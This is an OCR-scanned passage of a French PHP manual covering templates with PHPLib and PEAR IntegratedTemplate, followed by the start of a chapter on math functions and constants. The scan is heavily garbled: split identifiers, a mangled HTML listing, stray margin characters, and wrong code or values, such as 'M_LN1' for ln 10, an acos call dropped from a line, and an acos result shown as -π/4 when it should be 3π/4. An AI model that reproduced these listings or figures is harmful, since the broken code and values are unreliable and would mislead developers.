// * les fichiers de model e 
// sont stockes dans le repertoire modeles 
// * les mots cles non reconnus 
°3 2 // seront conserves 

jg £ $modele = new Tempi ate("model es" , "keep"); 

_j a. 

// Associe un identifiant au fichier model e 
$model e->set_f i 1 e ( " i dModel e" , "phpl i b_01 . tpl " ) ; 

// Definit les valeurs associees aux mots cles 
$modele->set_var(array("TITRE" => "Modeles avec PHPLib", 
"COPYRIGHT" => "Copyright 2002")); 

// Extrait du fichier identifie par "idModele" 
// le block nomme "blocLigne" et le remplace par 
// le mot cle "1 ignes" 

$modele->set_block("idModele", "blocLigne", "lignes"); 

// A titre d'exemple 

// remplace les mots cles du bloc ligne 

// par differentes valeurs 

$modele->set_var(array("SEXE" => "<img src=\"homme.gif\">" 
"PRENOM" => "Pierre", 
"NOM" => "Dupond")); 

$modele->parse("l ignes", "blocLigne", true); 

$modele->set var(array ("SEXE" => "<img src=\"femme.gif\">" 
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"PRENOM" => "Anne", 
"NOM" => "Durand")); 
$modele->parse("lignes", "blocLigne", true); 

$modele->set_var(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Jean", 

"NOM" => "Bon")); 
$modele->parse("lignes", "blocLigne", true); 



// procede aux substitutions 

// et stocke le resultat dans une variable 

// "resultat" 

$model e->parse("resul tat" , "idModel e") ; 

// affiche le resultat 
$modele->p("resultat") ; 

?> 



Ceci affichera alors : 



Modeles avec PHPLib 



t Pierre Dupond 



* Anne Durand 
p>||Jean ||Bon 



Copyright 2002 



Figure 5.3 : 

Exemple d'utilisation 
de modeles avec 
PHPLib 



Comme vous pouvez le constater, le designer n'a absolument pas besoin de connaitre le langage 
PHP. En revanche, la tache du developpeur est sensiblement plus complexe (comme celle du 
serveur). Ce dernier doit apprendre un "nouveau langage", celui de la manipulation des 
modeles. 
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La base 

L'utilisation des modeles PHPLib commence par l'instanciation d'un objet Template selon la 
syntaxe suivante : 



Template 

Objet modele de PHPLib. 

Syntaxe Template Tempi ate (string $repertoireModeles, string 

$modeErreur) 

$repertoi reModel es Repertoire ou sont situes les fichiers de modeles. 

$modeErreur Chaine de caracteres indiquant quel doit etre le comportement lorsque 

des mots-cles inconnus sont rencontres. Cet argument doit prendre une 
des valeurs suivantes : 
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"keep" si le mot-cle doit etre restitue dans le flux de sortie. 

"comment" si le mot-cle doit etre mis en commentaire dans le flux de 

sortie. 

"remove" (valeur par defaut) si le mot-cle doit etre ignore (et ne pas 
paraitre dans le flux de sortie). 

Toutes les manipulations a venir s'appuient sur des mots-cles (les chaines de caracteres 
integrees au code HTML du modele, y compris les noms de blocs) et des noms de variables (ni 
plus ni moins des chaines de caracteres representant des portions du modele). II n'est pas rare 
que ces deux notions se confondent. 

Meme si, dans une utilisation "normale", cette methode n'est appelee qu'a la fin du traitement, 
voici la methode permettant d'afficher le contenu d'une variable. Dans notre cas, elle sera 
egalement utilisee pour demontrer les proprietes des differentes methodes de l'objet Template. 



Template->p() 

Affiche le contenu de la variable indiquee. Cette fonction est generalement utilisee pour 
afficher le resultat final. 

Syntaxe void p (string $variable) 

$vari abl e Nom de la variable dont on veut afficher le contenu. 

L'utilisation la plus "primitive" des modeles consiste a remplacer des mots-cles (en absence de 
blocs) par des valeurs. 

Cette operation s'effectue en deux etapes : 

1 . Definition des valeurs par lesquelles les mots-cles doivent etre remplaces. 

2. Remplacement proprement dit. 



Template->set_var () 

Donne une valeur a un ou plusieurs mots-cles. 



Syntaxe void set_var (stri ng $motCle, string valeur) 

Syntaxe void set_var (array $tabl eauAssoci ati f) 

$motCl e Mot-cle auquel vous souhaitez donner une valeur. 

$valeur Valeur associee au mot-cle. 



$tabl eauAssoci ati f Tableau associatif contenant autant de couples ( $motCle => $valeur) 
que de valeurs a definir. 
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Ainsi, la succession d'appels : 

$modele->set_var("TITRE", "Mon TITRE") ; 
$modele->set_var("COPYRIGHT", "Copyright 2002"); 

sera avantageusement remplacee par : 

$modele->set_var(array("TITRE" => "Mon Titre", 

"COPYRIGHT" => "Copyright 2002")); 

La substitution proprement dite des mots-cles par les valeurs s'effectue via un appel a la 
methode parse ( ) . 



Template->parse() 



Remplace les mots-cles contenus dans une variable par leurs valeurs, et associe ou ajoute le 
resultat a un mot-cle. 

Syntaxe void parse(string $motCle, $string $variable, boolean 

$modeAjout) 

$motCle Mot-cle a remplacer ou completer. 

$ variable Variable pour laquelle les mots-cles doivent etre remplaces par leurs 

valeurs. §j S 

$modeAjout Mettre a TRUE si le mot-cle doit etre complete, FALSE s'il doit etre ^ 5 

remplace. 



Dans le premier cas que nous etudions, la variable devra representer le fichier modele 
lui-meme (c'est bien dans cet ensemble que les mots-cles doivent etre remplaces par des 
valeurs). II faut done associer, au prealable, un nom de variable au fichier modele. Pour cela, 
vous devez faire appel a la methode set_f ile ( ) . 



— ( CD 
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Template->set_file () 

Associe des noms de variables (raccourcis) a des noms de fichiers. 

Syntaxe void set_file(string $variable, string $nomFichier) 

$vari abl e Variable associee au nom de fichier. 

$nomFichier Nom du fichier. 

La methode set_f ile ( ) propose egalement l'interface suivante : 
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Template->set_file () 

Associe des noms de variables (raccourcis) a des noms de fichiers. 
Syntaxe void set_file(array $tabl eauAssoci ati f) 

$tabl eauAssoci ati f Tableau associatif contenant autant de couples ($variable => 
$nomFichier) que d'identifiants a creer. 

Ce qui nous permet de realiser notre premier script de transformation de modeles ; script que 
nous appliquerons au modele que nous avons vu precedemment. 

Listing 5.5 : phplib_02.php 

<?php 

requi re_once(" . . /phpl ib-7 .4-prel/php/templ ate. inc") ; 

// Instanciation d'un objet Template 

// en precisant que : 

// * les fichiers de modele 

// sont stockes dans le repertoire modeles 

// * les mots cles non reconnus 

// seront conserves 

$modele = new Tempi ate("model es" , "keep"); 



// Definit les valeurs associees aux mots cles 
$model e->set_var(array ("TITRE" => "Modeles avec PHPLib", 
"COPYRIGHT" => "Copyright 2002")); 

// Associe un identifiant au fichier modele 
$model e->set_f i 1 e ( " i dModel e" , "phpl i b_01 . tpl " ) ; 
// Remplace les mots cles par leurs valeurs 
// et stocke le resultat dans une variable 
// "resultat" 

$modele->parse("resultat", "idModele") ; 
// affiche le resultat 
$model e->p("resul tat") ; 

?> 



Dans ce cas, nous aurons alors comme resultat (au niveau du code HTML genere) 
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<!:■:: > 
<head> 

<tifcle>Modeles avec PHPLib</title> 

</head> 

<body > 

<:i >Modeles avec PHPLib</Ti3> 
< table border="l"> 

BE&IN hi ocLi gns - - ■> 

< tr> 

< td> { SEXE [ < /td> 
<td>{PRENOM};/td> 
<td>{H0M}</td> 
</tr> 

END hlocLigne --f 

</table> 

< center > Copy right 2002< /center> 
</body r > 

</■ :■ > 



Figure 5.4 : 

Code HTML issu de Vutilisation de 
modeles avec PHPLib 



Vous pouvez constater que les mots-cles ont bien ete remplaces par leurs valeurs, sauf 
evidemment ceux qui n'ont pas ete traites par ce premier script, et qui appartiennent a des blocs 
dont nous allons, des maintenant, detailler le fonctionnement. 

Utilisation des blocs 

Comme cela a ete suggere en introduction de ce chapitre (dans l'exemple), il est possible de 
definir des blocs de donnees. 

Les blocs sont declares par des commentaires HTML contenant les instructions begin et end. 
<!-- BEGIN nomBloc --> 

<!-- END nomBloc --> P 

o 

La premiere operation liee a la manipulation de ces blocs consiste, generalement, a appeler <a _ 

l'instruction set_block ( ) . ^ o 

It 

o ™ 

= CO 

a. 

CD 



Template->set_block() 



Remplace, dans une variable (representant generalement un bloc), un bloc par un mot-cle et 
associe ce bloc a la variable de meme nom. 

Syntaxe void set_bl ock(stri ng $variable, string $nomBloc [, string 

$motCle]) 

$ v a r i a b 1 e Nom de la variable dans laquelle est recherche le bloc, 

$nomBl oc Nom du bloc (i.e. mot-cle precise dans le commentaire definissant le bloc). 

$motCl e Mot-cle venant en remplacement du bloc. Si ce parametre est omis, il 

prendra la meme valeur que $nomBloc. 

C'est generalement dans le cadre de l'utilisation de blocs que le mode "ajout" de la methode 
parse ( ) prend tout son sens. II est en effet alors possible de remplacer un (unique) mot-cle par 
une liste de valeurs. Voir le script phplib_01.php presente en introduction de ce chapitre. 
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Diverses methodes 

Template->set_root () 

Permet de modifier le chemin de recherche des modeles. 

Syntaxe void set_root (stri ng $repertoi reModel e) 

$repertoi reModel e Nouveau chemin de recherche des modeles. 

Template->set_unknowns () 

Permet de modifier le comportement lorsque des variables inconnues sont rencontrees. 
Syntaxe void set_unknowns (stri ng $modeErreur) 

$modeErreur Chaine de caracteres indiquant le comportement a tenir lorsque des 

mots-cles inconnus sont rencontres. Cet argument doit prendre une des 
valeurs suivantes : 

"keep" si le mot-cle doit etre restitue dans le flux de sortie. 

"comment" si le mot-cle doit etre mis en commentaire dans le flux de 

sortie. 

"remove" (valeur par defaut) si le mot-cle doit etre ignore (et ne pas 
paraitre dans le flux de sortie). 



Template->subst() 

Retourne la variable indiquee pour laquelle les mots-cles connus ont ete remplaces par leurs 
valeurs. Les mots-cles inconnus seront laisses inchanges (quel que soit le mode d'erreur 
selectionne). 

Syntaxe string subst (string $variable) 

$ v a r i a b 1 e Nom de la variable a retourner. 



Template->psubst() 



Affiche le resultat que retourne subst ( ) 
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Syntaxe string psubst (stri ng $variable) 

$vari abl e Nom de la variable a afficher. 



Template->finish() 



Retourne la variable indiquee pour laquelle les mots-cles connus ont ete remplaces par leurs 
valeurs. Les mots-cles inconnus sont traites selon le mode d'erreur selectionne. 

Syntaxe string f i ni sh (stri ng $variable) 

$vari abl e Nom de la variable a retourner. 



Template->get_vars () 

Retourne un tableau associatif des variables definies, les cles etant les noms des variables. 
Syntaxe array get vars() 

retour Le tableau association "nom de variable" => "valeur". ^ j— 

~~* CD 

CO 

1 8 



I J. 

Template->get_undefined() 1 1 

a 

Retourne un tableau (associatif) des mots-cles rencontres n'ayant pas de valeurs associees. 
Syntaxe array get_undefined() 

retour Le tableau associatif "nom de variable" => "nom de variable". 



haltMsgO 



II s'agit cette fois d'une fonction et non d'une methode appelee accompagnee d'un message en 
cas d'erreur. Cette fonction peut etre reecrite par vos soins. 

Syntaxe void hal tMsg (stri ng $messageErreur) 

$messageErreur Message d'erreur. 
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Avec la bibliotheque PEAR 
Installation 

reinstallation de la bibliotheque pear ne necessite quasiment aucun effort. En effet, celle-ci 
etant livree avec PHP, il suffit d'ajouter le repertoire contenant la bibliotheque (ex. : lusr/locall 
liblphp par defaut sous Linux) au chemin de recherche specifie par le parametre include_path 
du fichier php.ini. Cela peut egalement se faire en utilisant la fonction set_ini() (utilisee 
comme suit: set_ini ( " include„path" , $nouvelleValeurIncludePath) ; ) au debut de 
chaque script faisant appel a la bibliotheque pear. 

Nous supposerons par la suite que vous avez integre pear au chemin de recherche specifie dans 
php.ini. Pour utiliser les modeles, il suffira alors d'inclure le script IT.php disponible dans le 
repertoire HTML. 

Utilisation 

La bibliotheque pear (livree avec PHP) propose quant a elle une solution fort similaire a celle 
proposee par PHPLib. 

L'une d'elle, basee sur la classe integratedTemplate necessite toutefois moins de 
manipulations de variables, ce qui simplifie, entre autres, l'utilisation des blocs. 

L'exemple presente en introduction de la bibliotheque PHPLib devient alors : 

exemple de fichier modele (cree par le designer) : 

Listing 5.6 : modeles/pear_01 .tpl 

<html> 
<head> 

<title>{TITRE}</title> 

</head> 

<body> 

<h3>{TITRE}</h3> 
<table border="l"> 

<!-- BEGIN blocLigne --> 
<tr> 

<td>{SEXE}</td> 
<td>{PRENOM}</td> 
<td>{N0M}</td> 
</tr> 

<!-- END blocLigne --> 
</tabl e> 
</body> 
</html> 

Exemple de fichier de substitution mot-cle/code (cree par le developpeur) : 
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Listing 5.7 : pear_01.php 

<?php 

require_once("HTML/IT.php") ; 

// Instanciation d'un objet IntegratedTempl ate 

// en precisant que : 

// * les fichiers de model e 

// sont stockes dans le repertoire "model es" 

$modele = new IntegratedTempl ate("model es") ; 

// Charge le fichier model e 
$modele->loadTemplateFile("pear_01.tpl ") ; 

// Defini les valeurs associees au mot cle 
$modele->setVariable("TITRE","Modeles avec PEAR") ; 

// Selectionne le bloc "blocLigne" 
// pour les prochaines manipulations 
$model e->setCurrentBl ock("bl ocLigne") ; 



// A titre d'exemple 

// remplace les mots cles du bloc ligne 

// par differentes valeurs 

$modele->setVariable(array("SEXE" => "<img src=\"homme.gif\">", 
"PRENOM" => "Pierre", 
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"NOM" => "Dupond")); 3 ~ 

$modele->parseCurrentBlock("blocLigne") ; ~ J5 

= to 

$modele->setVariable(array("SEXE" => "<img src=\"femme.gif\">", ™ 
"PRENOM" => "Anne", 
"NOM" => "Durand")); 

$model e->parseCurrentBl ock("bl ocLigne") ; 

$modele->setVariable(array("SEXE" => "<img src=\"homme.gif\">", 

"PRENOM" => "Jean", 

"NOM" => "Bon")); 
$model e->parseCurrentBl ock("bl ocLigne") ; 



// affiche le resultat 
$model e->show() ; 

?> 



La base 

L'utilisation des modeles PEAR/IntegratedTemplate commence par l'instanciation d'un objet 
IntegratedTemplate selon la syntaxe suivante : 
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IntegratedTemplate 

Objet modele de PEAR/IntegratedTemplate. 

Syntaxe IntegratedTemplate IntegratedTempl ate( [stri ng 

$repertoi reModel es] ) 

$repertoi reModel es Repertoire ou sont situes les fichiers de modeles. 

Toutes les manipulations a venir s'appuient sur des mots-cles ou noms de blocs integres au code 
HTML du modele, que Ton pourra appeler "variable". 

Meme si, dans une utilisation normale, cette methode n'est appelee qu'a la fin du traitement, 
voici la methode permettant d'afficher le contenu d'une variable. Dans notre cas, elle sera 
egalement utilisee pour demontrer les proprietes des differentes methodes de l'objet 
IntegratedTemplate. 



IntegratedTemplate->show () 

Affiche le contenu d'une variable (bloc ou mot-cle) indiquee. Cette fonction est generalement 
utilisee sans parametre pour afficher le resultat final. 

Syntaxe void show( [string $variable]) 

$vari abl e Nom de la variable (bloc ou mot-cle) dont on veut afficher le contenu. 

Le chargement d'un modele se fait via la methode setTemplate ( ) ou plus probablement 

loadTemplateFile ( ) . 



IntegratedTemplate->setTemplate 

Charge un modele base sur une simple chaine de caracteres. 

Syntaxe boolean setTempl ate(stri ng $modele [, boolean 

$supprimeVari abl eslnconnues [, boolean $supprimeBlocsVides]])) 

$model e Le modele. 

$supprimeVari abl es 

Inconnues TRUE (par defaut) si vous souhaitez que les variables (mot-cles) non 

definis soient supprimes (en sortie), FALSE sinon. 

$supprimeBl ocsVi des TRUE (par defaut) si vous souhaitez que les blocs vides soient supprimes 
(en sortie), FALSE sinon. 

retour TRUE en cas de succes, FALSE sinon. 
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IntegratedTemplate->loadTemplateFile() 

Charge un modele stocke dans un fichier. 

Syntaxe boolean 1 oadTempl ateFi 1 e(stri ng $nomFichier [, boolean 

$supprimeVari abl eslnconnues [, boolean $supprimeBlocsVides]] ) 

$nomFichier Nom du fichier modele. 

$supprime 

Vari abl eslnconnues TRUE (par defaut) si vous souhaitez que les variables (mots-cles) non 
definies soient supprimees (en sortie), FALSE sinon. 

$supprimeBl ocsVi des TRUE (par defaut) si vous souhaitez que les blocs vides soient supprimes 
(en sortie), FALSE sinon. 

retour TRUE en cas de succes, FALSE sinon. 

L'utilisation la plus "primitive" des modeles consiste a remplacer des mots-cles (eventuellement 
contenus dans un bloc) par des valeurs. 

Cette operation s'effectue en trois etapes : 

1 . Selection du bloc ; 

2. Definition des valeurs par lesquelles les mots-cles doivent etre remplaces ; 

3. Remplacement proprement dit. 

La selection du bloc se fait naturellement par un appel a la methode setCurrentBloc ( ) . 



IntegratedTemplate->setCurrentBloc() 

Selectionne un bloc pour les manipulations a venir. 

Syntaxe void setCurrentBloc ([string $bloc]) 

$bl oc Nom du bloc. Si ce parametre est omis, c'est alors le modele complet qui 

devient le bloc courant. 



IntegratedTemplate->setVariable() 

Donne une valeur a un ou plusieurs mots-cles. 

Syntaxe void setVariable(string $motCle, string valeur) 

Syntaxe void setVariable(array $tabl eauAssoci ati f) 

$motCl e Mot-cle auquel vous souhaitez donner une valeur. 

$valeur Valeur associee au mot-cle. 
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$tabl eauAssoci ati f Tableau associatif contenant autant de couples ($motCle => $valeur) 
que de valeurs a definir. 

Ainsi, la succession d'appels : 

$modele->setVariable("TITRE", "Mon TITRE") ; 
$modele->setVariable("COPYRIGHT", "Copyright 2002"); 

sera avantageusement remplacee par : 

$modele->setVariable(array("TITRE" => "Mon Titre", 

"COPYRIGHT" => "Copyright 2002")); 

La substitution proprement dite des mots-cles par leurs valeurs s'effectue via un appel a la 

methode parseCurrentBlock ( ) . 



SI 
■E E 
11 

GO o 



IntegratedTemplate->parseCurrentBlock() 

Remplace les mots-cles contenus dans le bloc courant par leurs valeurs. 

Syntaxe boolean parseCurrentBlock (void) 

retour TRUE en cas de succes, FALSE sinon. 

Diverses methodes 

IntegratedTemplate->setRoot () 

Permet de modifier le chemin de recherche des modeles. 

Syntaxe void setRoot (stri ng $repertoi reModel e) 

$repertoi reModel e Nouveau chemin de recherche des modeles. 



IntegratedTemplate->parse () 

Remplace les mots-cles contenus dans une variable par leurs valeurs. 



Syntaxe boolean parse([string $variable] [, boolean $modeRecursi f] ) 

$variable Variable contenant les mots-cles a remplacer. Par defaut, le modele 

complet. 

$modeRecursi f A ignorer, au moins pour l'instant. 
retour TRUE en cas de succes, FALSE sinon. 
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IntegratedTemplate->get () 

Retourne le contenu d'une variable pour laquelle les mots-cles ont ete remplaces par leurs 
valeurs. 

Syntaxe string get ([string $variable]) 

$vari abl e Variable dont on veut retourner le contenu. Si ce parametre est omis, c'est 

tout le modele qui est retourne. 

retour Contenu de la variable (ou bloc). 



IntegratedTemplate->touchBlock() 

Empeche la suppression d'un bloc vide, meme si l'option a ete positionnee. 



Syntaxe 

$bloc 



boolean touchBl ock(stri ng $bloc) 
Bloc a conserver. 



Chapitre 6 



Les fonctions 
mathematiques 



6.1 Les fonctions mathematiques et les constantes 

6.2 Calculs de precision 
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Les fonctions mathematiques et les constantes 



Cette partie traite du calcul mathematique. Meme si vous serez souvent amene a utiliser ces 
fonctions pour des operations elementaires, sachez qu'il est egalement possible 
d'effectuer des calculs de precision. 



6. 1 . Les fonctions mathematiques et les constantes 

La bibliotheque mathematique fournit des constantes et des fonctions qui vous serviront si vous 
souhaitez faire du calcul. Attention cependant : pour la gestion des grands nombres ou des 
nombres devant comporter de nombreuses decimales, verifiez que les valeurs que vous 
manipulez peuvent etre gerees soit par les entiers (integer entre -2147483648 et 2147483647) 
soit par les reels (double ; et respectivement long et double en C). Dans le cas contraire, vous 
devrez faire appel aux calculs de precision qui feront l'objet du chapitre suivant. 



Constantes 

La bibliotheque mathematique met a disposition dix-sept constantes utiles pour les calculs 
mathematiques. 



Tableau 6.1 : Les constantes 



Constante 


Valeur 


Description 


M_SQRT2 


1.41421356237309504880 


Racine carree de 2 (PHP4.0.2 et +) 


M_SQRT3 


1.73205080756887729352 


Racine carree de 3 (PHP4.0.2 et +) 


M_SQRT1_2 


0.70710678118654752440 


1 sur racine carree de 2 ou encore racine 
carree de 2 sur 2 (PHP4.0.2 et +) 


Trigonometrie 


M_PI 


3.14159265358979323846 


Pi 


M_PI_2 


1.57079632679489661923 


Pi/2 


M_PI_4 


0.78539816339744830962 


Pi/4 


M_1_PI 


0.31830988618379067154 


1/Pi 


M_2_PI 


0.63661977236758134308 


2/Pi 


M_SQRTPI 


1.77245385090551602729 


Racine carree de Pi (PHP4.0.2 et +) 


M_2_SQRTPI 


1.12837916709551257390 


2 sur racine carree de Pi (PHP4.0.2 et +) 


Logarithme 


M_E 


2.7182818284590452354 


E 


M_LOG2E 


1.4426950408889634074 


Logarithme binaire de e 


M_LOG10E 


0.43429448190325182765 


Logarithme decimal de e 


M_LN2 


0.69314718055994530942 


Logarithme neperien de 2 


M_LN1 


2.30258509299404568402 


Logarithme neperien de 10 


M_LNPI 


1.14472988584940017414 


Logarithme neperien de Pi (PHP4.0.2 et +) 
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Constante 


Valeur 


Description 


Autre 


M_EULER 


0.57721566490153286061 


Constante d'Euler (PHP4.0.2 et +) 



Fonctions 

Test de validite 

PHP propose quelques fonctions permettant de determiner si une valeur (retournee par une 
fonction) est finie, infinie (cas d'une division par 0) ou indefinie (cas d'une racine carre de -1). 
Vous disposez ainsi de : 



is_finite() 

Indique si une valeur est finie ou non. 

Syntaxe boolean is_finite (double $valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est finie, FALSE sinon. 



JO 00 

2 = 

u ■— 

2 E 

03 £ 

» E 



is_infinite() 

Teste si une valeur est infinie. 

Syntaxe boolean is_infinite($valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est infinie, FALSE sinon. 



is_nan() 

Teste si une valeur est indefinie. 

Syntaxe boolean is_nan($valeur) 

$ v a 1 e u r Valeur a tester. 

retour TRUE si la valeur est indefinie, FALSE sinon. 
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Listing 6.1 : isxxx.php 

<?php 

if (is_finite(3)) echo "3 est fini<br />"; 

else echo "3 n'est pas fini<br />"; 
if (is_finite(pow(0,-l))) echo "1/0 est fini<br />"; 

else echo "1/0 n'est pas fini<br />"; 
if (is_finite(sqrt(-l))) echo "racine carree de -1 est fini<br />"; 

else echo "racine carree de -1 n'est pas fini<br />"; 
if (is_infinite(3)) echo "3 est infini<br />"; 

else echo "3 n'est pas infini<br />"; 
if (is_infinite(pow(0,-l))) echo "1/0 est infini<br />"; 

else echo "1/0 n'est pas infini<br />"; 
if (is_infinite(sqrt(-l))) 

echo "racine carree de -1 est infini<br />"; 

else echo "racine carree de -1 n'est pas infini<br />"; 
if (is_nan(3)) echo "3 est indefini<br />"; 

else echo "3 n'est pas indefini<br />"; 
if (is_nan(pow(0,-l))) echo "1/0 est indefini<br />"; 

else echo "1/0 n'est pas indefini<br />"; 
if (is_nan(sqrt(-l))) echo "racine carree de -1 est indefini<br />"; 

else echo "racine carree de -1 n'est pas indefini<br />"; 



Cela retournera : 



3 est fini 

1/0 n'est pas fini 

racine carree de -1 n'est pas fini 

3 n'est pas infini 3 P 

1/0 est infini =j 5" 

racine carree de -1 n'est pas infini ^ " 

3 n'est pas indefini ^ § 

1/0 n'est pas indefini s: 

racine carree de -1 est indefini ™ = 



J\ Avec les operateurs 

Dans les versions actuelles de PHP, cela ne s'applique qu'aux valeurs retournees par 
ATTENTION les fonctions etnon paries operateurs. Ainsi 1/0 retournera false accompagne d'un 
message d'erreur, or false converti en entier donne 0, qui est fini. Vous aurez done 
la surprise de constater que is_finite (1/0) retourne TRUEet non FALSEeomme 
attendu. 
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Trigonometriques 



pi() 



Cette fonction retourne une valeur approximative de Pi. 3.1415926535898 (revient a utiliser 

M_Pl). 



Syntaxe 

retour 



double pi (void) 

Valeur approximative de Pi. 



cos() 



Retourne la valeur du cosinus de Tangle exprime en radians. 



Syntaxe 

$angl e 
retour 



double cos (double $angle) 
Angle exprime en radians. 
Cosinus de Tangle. 
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acosQ 



Retourne Tare cosinus de la valeur donnee (Tare cosinus etant Tangle pour lequel le cosinus 
vaut Scos). 



Syntaxe 

$cos 
retour 



double acos(double $cos) 
Valeur sans unite. 
Angle en radians. 



Voici un exemple de script utilisant les fonctions cos ( ) , acos ( ) et pi ( ) , ainsi que les 
constantes m_pi et m_sqrti_2 : 



<?php 



echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 



?> 



cos(M_PI) :".cos(M_PI) ."<br />"; 
cos (pi () ) : " . cos (pi () ) . "<br />" ; 
cos (M_PI /2) : " . cos (M_PI/2) . "<br />" ; 
cos(3*M_PI/2) : " .cos (3*M_PI/2) . "<br />" ; 
cos (M_PI /4) : " . cos (M_PI/4) . "<br />" ; 
cos(3*M_PI/4) : " .cos (3*M_PI/4) . "<br />" ; 
cos(-M_PI/4) :".cos(-M_PI/4) ."<br />"; 
cos(-3*M_PI/4) :".cos(-3*M_PI/4) ."<br />"; 
acos (M_SQRT1_2) : " . acos (M_SQRT1_2) . "<br />" 
acos (-M_SQRT1_2) : " . (-M_SQRT1_2) . "<br />" ; 
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Voici le resultat obtenu : 

cos(M_PI):-l 
cos(pi()):-l 

cos(M_PI/2) :6.1230317691119E-017 
cos (3*M_PI/2) : -1 .8369095307336E-016 
cos(M_PI/4) :0. 70710678118655 
cos(3*M_PI/4) :-0. 70710678118655 
cos (-MPI/4) : . 70710678118655 
cos (-3*M_PI/4): -0.70710678118655 
acos (MSQRT12) : . 78539816339745 
acos(-M_SQRTl_2): -0.78539816339745 

m_pi et pi ( ) retournent tous les deux la meme valeur. Les valeurs de cos (Pi/2 ) et cos (3*pi/ 
2 ) retournent un resultat proche de 0, mais pas 0. En effet, la valeur de Pi etant approximative, 
celle du cosinus est affectee. 

Cos (Pi/4) et cos (-Pi/4) retournent la moitie de la racine carree de 2. cos(3*Pi/4) et 
cos (-3*Pi/4) sont opposes comme prevu. 

acos(racine carree de 2 sur 2) retourne Pi/4 et acos(-racine carree de 2 sur 2) retourne -pi/4. 



sin() 



Retourne la valeur du sinus de Tangle exprime en radians. 

Syntaxe double sin (double $angle) 

$angle Angle en radians. 

retour Sinus de Tangle. g j_ 
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asin() 



Retourne Tare sinus de la valeur donnee (Tare cosinus etant Tangle pour lequel le sinus vaut 

$sin). 

Syntaxe double asin (double $sin) 

$ s i n Valeur sans unite, 

retour Angle en radians. 



tan() 

Retourne la valeur de la tangente de Tangle exprimee en radians. 

Syntaxe double tan (double $angle) 

$angle Angle en radians, 

retour Tangente de Tangle. 
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atan() 

Retourne l'arc tangente de la valeur donnee (l'arc tangente etant Tangle pour lequel la 
tangente vaut $tan). 

Syntaxe double atan (double $tan) 

$tan Valeur sans unite. 

retour Angle en radians compris entre -Pl/2etPl/2. 

atan2 () 

Retourne l'arc tangente de $sin/$cos en tenant compte de leurs signes afin de determiner de 
facon plus precise Tangle. 



Syntaxe double atan2 (double $sin, double $cos) 

$ s i n Valeur sans unite. 

$cos Valeur sans unite. 

retour Angle en radians compris entre -PI et PI inclus. [ -PI ; PI ] . 



deg2rad() 

Retourne en radians un angle exprime en degres. 

Syntaxe double deg2rad (double $angle) 

$angle Angle en degres. 

retour Angle en radians. 

rad2deg() 

Retourne en degres un angle exprime en radians. 

Syntaxe double rad2deg (double $angle) 

$angle Angle en radians, 

retour Angle en degres. 



Les fonctions mathematiques et les constantes 



Logarithmiques 

exp() 

Retourne l'exponentiel de la valeur donnee. 

Syntaxe doubl e exp(doubl e $reel ] 

$reel Valeur reelle. 

retour Exponentiel $reel. 



log() 

Retourne le logarithme neperien de la valeur donnee. 
Syntaxe double log (double $reel) 

$reel Valeur reelle dont on veut connaitre le logarithme neperien. 

retour Valeur reelle du logarithme neperien de $reel. 



loglOO 

3 F» 

Retourne le logarithme decimal. §j 

CD, «" 
3 — * 

Syntaxe double loglO (double $reel) 5> § 

— o 

$reel Valeur reelle dont on veut connaitre le logarithme decimal. "c 5' 

CD 3 

V) CO 



retour Logarithme decimal de $reel. 



cosh() 

Retourne la valeur du cosinus hyperbolique de Tangle, autrement dit (exp($angle) + 

exp ( -$angle ) ) 12. 

Syntaxe double cosh(double $angle) 

$angle Angle hyperbolique. 

retour Cosinus hyperbolique de Tangle. 
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acosh() 

Retourne 1'arc cosinus hyperbolique de la valeur donnee (l'arc cosinus hyperbolique etant 
Tangle pour lequel le cosinus hyperbolique vaut $cosh). 

Syntaxe doubl e acosh (doubl e $cosh) 

$cosh Valeur sans unite, 

retour Angle hyperbolique. 



sinh() 

Retourne la valeur du sinus hyperbolique de Tangle, autrement dit (exp($angle) - 

exp(-$angle) ) 12. 

Syntaxe double si nh (double $angle) 

$angle Angle hyperbolique. 

retour Sinus hyperbolique de Tangle. 



asinh() 



c a> Retourne Tare sinus hyperbolique de la valeur donnee (Tare sinus hyperbolique etant Tangle 

s £ hyperbolique pour lequel le sinus hyperbolique vaut $sinh). 

I ™ 

E Syntaxe double asinh (double $sinh) 

' + 

-J co $sinh Valeur sans unite. 

us E 

retour Angle hyperbolique. 



tanh() 

Retourne la valeur de la tangente hyperbolique de Tangle. 

Syntaxe double tanh (double $angle) 

$angle Angle hyperbolique. 

retour Tangente hyperbolique de Tangle. 
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atanh() (non disponible sous Windows) 

Retourne Fare tangente hyperbolique de Tangle donne (l'arc tangente hyperbolique etant 
Tangle hyperbolique pour lequel la tangente hyperbolique vaut $tanh). 

Syntaxe double atanh (doubl e $tanh) 

$tanh Valeur sans unite, 

retour Angle hyperbolique. 



Puissance 



pow() 



Cette fonction retourne $base a la puissance Sexposant. 

Syntaxe numeric pow(numeric $base, numeric $exposant) 



$base 

$exposant 

retour 



Nombre a elever. 
Puissance. 

Entier si possible, sinon reel pouvant valoir NAN si la puissance ne peut etre 
calculee (ex. : racine carree d'un nombre negatif). 



Voici un exemple d'utilisation de la fonction pow ( ) : 

Listing 6.2 : pow.php 

<?php 

// exemple simple: 2^3 

echo pow(2, 3) ; 

echo "<br />"; 

// exemple simple: (-1)^10 

echo pow(-l, 10); 

echo "<br />"; 

// exemple d'erreur: racine de -4 (-4)^0.5 
echo pow(-4, 0.5); 

?> 
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En sortie, on obtiendra : 

8 
1 

NAN 
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sqrt() 

Cette fonction retourne la racine carree de la valeur entree en parametre. 

Syntaxe double sqrt (double $reel) 

$reel Valeur dont on veut connaitre la racine carree. 

retour Racine carree de $reel. 

Voici un exemple d'utilisation de la fonction sqrt ( ) : 
Listing 6.3 : sqrt.php 

<?php 

echo sqrt(4) . "<br />"; 

echo sqrt(9) . "<br />"; 

echo sqrt(5)."<br />"; 

echo sqrt(-3) . "<br />"; 

?> 

En sortie, on obtiendra : 

2 
3 

2.2360679774998 
NAN 



GO CO 

2J 1 Distance entre deux points 



° = 



u ■— 
" CO 



Pour calculer la distance entre le point A de coordonnees (xl,yl ) etBde coordonnees 
° E AS'flJCE (x2,y2), il sufftt de faire sqrt (pow (x2-xl , 2 ) +pow(y2-yl , 2 ) ). 



GO 
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Arrondi 



ceil() 

Arrondit a l'entier superieur. 

